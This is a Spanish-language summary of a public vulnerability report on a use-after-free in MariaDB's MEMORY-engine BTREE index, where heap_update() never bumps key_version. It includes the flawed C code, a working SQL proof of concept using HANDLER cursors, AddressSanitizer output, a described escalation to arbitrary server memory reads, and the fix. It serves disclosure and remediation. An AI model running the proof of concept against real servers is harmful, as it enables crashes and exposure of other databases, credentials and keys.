Reports
ALTA[OTROS]#3771144

Use-after-free en el índice BTREE de tablas MEMORY de MariaDB por un key_version que nunca se incrementa

heap_update() nunca marca como cambiada la key_version de las tablas MEMORY, así que los cursores HANDLER siguen usando punteros de árbol ya liberados. Un usuario autenticado puede provocar un use-after-free y leer memoria arbitraria del servidor.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

El motor de almacenamiento MEMORY (HEAP) de MariaDB gestiona sus índices BTREE mediante árboles de nodos TREE_ELEMENT en memoria. Para que un cursor HANDLER sepa que su camino cacheado por el árbol ha quedado obsoleto, el motor lleva un contador de versión, share->key_version, que debe incrementarse cada vez que se reorganiza el índice.

El fallo está en la función heap_update(), en storage/heap/hp_update.c. La variable local key_changed se declara e inicializa a 0, pero nunca se pone a 1 en ningún punto de la función. Eso convierte en código muerto la comprobación if (key_changed) share->key_version++: el contador de versión jamás se actualiza al hacer un UPDATE.

int heap_update(HP_INFO *info, const uchar *old, const uchar *heap_new)
{
  HP_KEYDEF *keydef, *end, *p_lastinx;
  uchar *pos, *recovery_ptr;
  my_bool auto_key_changed= 0, key_changed= 0;  // <-- nunca pasa a 1
  HP_SHARE *share= info->s;
  // ...
  for (keydef= share->keydef, end= keydef + share->keys; keydef < end; keydef++)
  {
    if (hp_rec_key_cmp(keydef, old, heap_new))
    {
      if ((*keydef->delete_key)(info, keydef, old, pos, keydef == p_lastinx) ||
          (*keydef->write_key)(info, keydef, heap_new, pos))
        goto err;
      // NOTA: aquí falta key_changed = 1;
    }
  }
  // ...
  if (key_changed)        // <-- código muerto: key_changed siempre vale 0
    share->key_version++;  // NUNCA SE EJECUTA

La consecuencia: cuando un UPDATE modifica una columna cubierta por un índice BTREE, tree_delete() libera nodos TREE_ELEMENT, pero como key_version no cambia, los cursores HANDLER siguen creyendo que sus punteros al camino padre cacheado son válidos. Al ejecutar después un HANDLER READ idx NEXT, tree_search_next() desreferencia punteros a nodos ya liberados: ahí está el use-after-free.

El error se introdujo en el commit 5788294fa365a0f23ee1cd7e12a444cf794ba6bc (2011-01-11), que añadió soporte de HANDLER para tablas MEMORY junto con los números de versión de clave y de fichero. En ese mismo commit, hp_delete.c y hp_write.c sí incrementan share->key_version de forma incondicional; solo hp_update.c se dejó el incremento.

Pasos de reproducción

El escenario solo necesita una conexión con privilegios estándar (SELECT, INSERT, UPDATE, CREATE TABLE) y una tabla MEMORY con índice BTREE, que es una característica normal de MariaDB.

-- Una sola conexión, privilegios estándar
CREATE TABLE poc (
    k INT,
    pad VARCHAR(200),
    INDEX idx USING BTREE (k)
) ENGINE=MEMORY;

INSERT INTO poc (k, pad) VALUES
  (10,'a'),(20,'b'),(30,'c'),(40,'d'),(50,'e'),
  (60,'f'),(70,'g'),(80,'h'),(90,'i'),(100,'j'),
  (110,'k'),(120,'l'),(130,'m'),(140,'n'),(150,'o'),
  (160,'p'),(170,'q'),(180,'r'),(190,'s'),(200,'t');

HANDLER poc OPEN;

-- Fija la key_version y llena parents[] con punteros TREE_ELEMENT*
HANDLER poc READ idx FIRST;
HANDLER poc READ idx NEXT;
HANDLER poc READ idx NEXT;
HANDLER poc READ idx NEXT;
HANDLER poc READ idx NEXT;

-- heap_update() libera nodos TREE_ELEMENT pero NO incrementa key_version
UPDATE poc SET k = k + 5000 WHERE k BETWEEN 20 AND 180;

-- tree_search_next() desreferencia punteros TREE_ELEMENT* ya liberados (use-after-free)
HANDLER poc READ idx NEXT;

En una compilación con AddressSanitizer, la última sentencia aborta de inmediato con un informe de heap-use-after-free. En una compilación de release el resultado depende del estado del asignador: el servidor puede caerse, devolver una fila corrupta o seguir aparentemente sin problemas si el bloque liberado fue reutilizado por un nodo válido.

Salida de AddressSanitizer (13.0.1-MariaDB-asan, commit 3a2f8e27981b):

==50410==ERROR: AddressSanitizer: heap-use-after-free on address 0x506000052360 ...
READ of size 8 at 0x506000052360 thread T13
    #0 0x56019d7ad5f5 in tree_search_next mysys/tree.c:501
    #1 0x56019d06df94 in heap_rnext storage/heap/hp_rnext.c:56
    #2 0x56019c5aa751 in handler::ha_index_next(unsigned char*) sql/handler.cc:4195
    #3 0x56019bb1a779 in mysql_ha_read(...) sql/sql_handler.cc:903
    ...

0x506000052360 is located 32 bytes inside of 64-byte region [0x506000052340,0x506000052380)
freed by thread T13 here:
    #0 0x7f6f782a34d8 in free
    #1 0x56019d7ac0c7 in tree_delete mysys/tree.c:372
    #2 0x56019d06478d in hp_rb_delete_key storage/heap/hp_delete.c:81
    #3 0x56019d06f400 in heap_update storage/heap/hp_update.c:47
    #4 0x56019d0607ab in ha_heap::update_row(...) storage/heap/ha_heap.cc:313
    ...

previously allocated by thread T13 here:
    #0 0x7f6f782a49c7 in malloc
    #1 0x56019d797fe7 in my_malloc mysys/my_malloc.c:93
    #2 0x56019d7ab814 in tree_insert mysys/tree.c:278
    #3 0x56019d070799 in hp_rb_write_key storage/heap/hp_write.c:121
    #4 0x56019d06fcdd in heap_write storage/heap/hp_write.c:52
    ...

SUMMARY: AddressSanitizer: heap-use-after-free mysys/tree.c:501 in tree_search_next

El punto exacto de la desreferencia obsoleta está en storage/heap/hp_rnext.c:

    else if (info->last_pos && info->key_version == info->s->key_version)
    {
      pos = tree_search_next(&keyinfo->rb_tree, &info->last_pos,
                             offsetof(TREE_ELEMENT, left),
                             offsetof(TREE_ELEMENT, right));  // <-- desreferencia UAF
    }
    // ...
    if (pos)
    {
      memcpy(&pos, pos + (*keyinfo->get_key_length)(keyinfo, pos),
             sizeof(uchar*));               // <-- puntero de registro controlable
      info->current_ptr = pos;
    }
    // ...
    memcpy(record, pos, (size_t) share->reclength);  // <-- lectura arbitraria

Impacto

Cualquier usuario autenticado con permisos SELECT, INSERT, UPDATE y CREATE TABLE sobre cualquier base de datos puede, desde una única conexión, dejar el servidor en el estado de use-after-free y provocar su caída.

El investigador describe además una escalada del primitivo: al lograr que el bloque TREE_ELEMENT liberado se reasigne con un nodo BTREE preparado (por ejemplo, procedente de una segunda tabla MEMORY cuyos bytes de clave codifican una dirección), tree_search_next() devuelve un puntero al nodo falsificado y heap_rnext() acaba tomando la dirección elegida como puntero de registro y copiando hasta share->reclength bytes de esa dirección a la fila devuelta al cliente. Eso convierte el fallo en un primitivo de lectura de memoria arbitraria del proceso del servidor, con exposición potencial de otras bases de datos, credenciales y claves TLS. Si se conoce una dirección de partida (binario sin PIE, plataforma sin ASLR o una fuga previa), el primitivo puede recorrer cadenas de punteros por todo el espacio de direcciones y servir de pieza para ejecución de código si se combina con un primitivo de escritura.

Remediación

La corrección es la que ya aplicaban hp_delete.c y hp_write.c desde el commit que introdujo el fallo: marcar el índice como modificado en heap_update() cuando cambia una clave, de modo que share->key_version se incremente y los cursores HANDLER invaliden su camino cacheado en lugar de reutilizar punteros ya liberados. El reporte fue clasificado como Use After Free (CWE-416) y resuelto por el programa de MariaDB.